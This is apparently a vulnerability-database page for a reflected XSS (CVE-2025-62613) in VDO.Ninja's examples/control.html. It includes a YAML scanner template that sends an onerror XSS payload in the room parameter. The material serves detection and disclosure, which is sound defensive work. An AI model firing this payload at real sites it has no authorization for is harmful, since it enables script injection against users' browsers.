/Vulnerability Library

VDO.Ninja - DOM-Based Cross-Site Scripting

CVE-2025-62613
Verified

Description

VDO.Ninja 28.0 to 28.3 contains a reflected XSS caused by improper sanitization of the room parameter in examples/control.html, letting remote attackers execute scripts, exploit requires crafted URL.

Severity

Medium

CVSS Score

6.1

Exploit Probability

2%

Published Date

February 25, 2026

Template Author

0x_akoko

CVE-2025-62613.yaml
id: CVE-2025-62613

info:
  name: VDO.Ninja - DOM-Based Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    VDO.Ninja 28.0 to 28.3 contains a reflected XSS caused by improper sanitization of the room parameter in examples/control.html, letting remote attackers execute scripts, exploit requires crafted URL.
  impact: |
    Attackers can execute arbitrary scripts in users' browsers, potentially stealing data or performing actions on their behalf.
  remediation: |
    Update to version 28.4 or later.
  reference:
    - https://github.com/steveseguin/vdo.ninja/security/advisories/GHSA-mp9c-cpch-x73c
    - https://github.com/steveseguin/vdo.ninja/commit/83c0ac753ad60c7a086daced3244688cabd4f6b8
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62613
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-62613
    cwe-id: CWE-79
    epss-score: 0.02224
    epss-percentile: 0.84722
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="vdo.ninja"
  tags: cve,cve2025,xss,vdo-ninja

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.html"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - "status_code == 200"
          - 'contains_any(body, "www.vdo.ninja", "VDO.Ninja")'
          - 'contains(body, "session.version") && contains_any(body, "28.0", "28.1", "28.2", "28.3")'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/examples/control.html?room=%3Cimg%20src=x%20onerror=alert(document.domain)%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, ".innerHTML", "roomID", "generateStreamID")'
          - '!contains(body, "encodeURIComponent")'
        condition: and
# digest: 4a0a0047304502210083bcf55548eca8723c0811fb5e7965f90696f3ea1d362f58033c97c60adeb59e02201b29da444fbc858567bb3559d83fb9b93a9c434ebd2117c38d084610f41e4f0c:922c64590222798bb761d5b6d8e72950
6.1Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2025-62613
CWE ID:
cwe-79

References

https://github.com/steveseguin/vdo.ninja/security/advisories/GHSA-mp9c-cpch-x73chttps://github.com/steveseguin/vdo.ninja/commit/83c0ac753ad60c7a086daced3244688cabd4f6b8https://nvd.nist.gov/vuln/detail/CVE-2025-62613

Remediation Steps

Update to version 28.4 or later.